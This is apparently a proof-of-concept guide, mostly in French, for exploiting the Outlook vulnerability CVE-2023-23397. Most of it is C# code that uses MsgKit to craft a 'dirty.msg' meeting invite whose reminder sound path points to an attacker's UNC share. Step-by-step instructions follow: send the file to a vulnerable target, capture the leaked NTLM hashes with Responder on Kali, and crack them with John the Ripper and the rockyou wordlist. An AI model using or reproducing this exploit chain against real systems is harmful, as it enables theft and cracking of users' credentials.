
CVE-2023-23397 PoC C#
CVE-2023-23397 C# PoC
1- téléchargez le msgkit
2- modifiez la classe appointment et ajoutez ce qui suit :

3- créez une nouvelle classe dans le projet pour définir les propriétés du fichier msg :
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- modifiez les propriétés du type de sortie du projet en console :

5- exécutez le projet pour générer le fichier dirty.msg
6- envoyez le message à une cible vulnérable et attendez que le rappel de la réunion s'active.
6-2- pendant que vous attendez, sur la machine Kali dont vous avez mis l'IP dans la classe principale, exécutez la commande ci-dessous pour rester à l'écoute de quiconque a mordu à l'hameçon : # responder -I eth0 -v
7- une fois que vous avez obtenu les hashs, stockez-les dans un fichier et exécutez john ripper sur les hashs avec une wordlist (ex: rockyou)